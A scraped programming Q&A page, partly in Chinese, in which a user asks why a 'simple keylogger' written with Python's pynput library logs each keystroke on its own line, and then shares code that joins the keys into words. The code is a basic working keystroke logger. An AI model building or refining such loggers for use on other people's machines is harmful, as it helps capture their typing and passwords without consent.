python - Simple keylogger "Problem in logging to a file"
问题描述
Problem :
Logging file saves one char after another in a new line for each char.
Objective is to log all char in a same line
is there is a problem with format in logging or ?
Code
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' )
def btn_press(key):
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
Result: logging
-->In File.txt
l
o
g
g
i
n
g
Expected Result
logging
-->In File.txt
logging
what kind of format this requires?
解决方案
这个功能是捕捉一个单词/句子
old=""
space = False
def key_log(key):
global old
global space
if key=="Key.space":
space=True
if len(key) == 1:
if space:
key = old + " " + key
space=False
else:
key = old + "" + key
old = key
print(key)
else:
print(key)
logging.info(key)
使用这个功能
def btn_press(key):
#logging.info(key)
key_log(str(key))
结果 记录
-->文件.txt
l
lo
log
logg
loggi
loggin
logging
这种方式更好还是有其他方式呢?
小的帮助将不胜感激!
推荐阅读
- python - 在一台 PC 上收到请求错误,而在另一台 PC 上却没有
- serialization - 我注意到当我尝试使用 Borsh 进行序列化/反序列化时会出错
- python - Pandas 非连续数字过滤器删除 0 行
- arrays - output.get 破坏 IDE
- mysql - 将两个不同的表组合在一起进行查询
- python - Python + Selenium:在没有元素标识符的多个跨度中查找文本
- sql - 使用 ON CONFLICT 时在“ON”处或附近出现语法错误
- javascript - 如何在反应中使用foreach显示颜色的其他值
- python - 熊猫找到下一行满足条件的连续行
- css - 如何在tailwindcss中从谷歌字体添加自定义字体?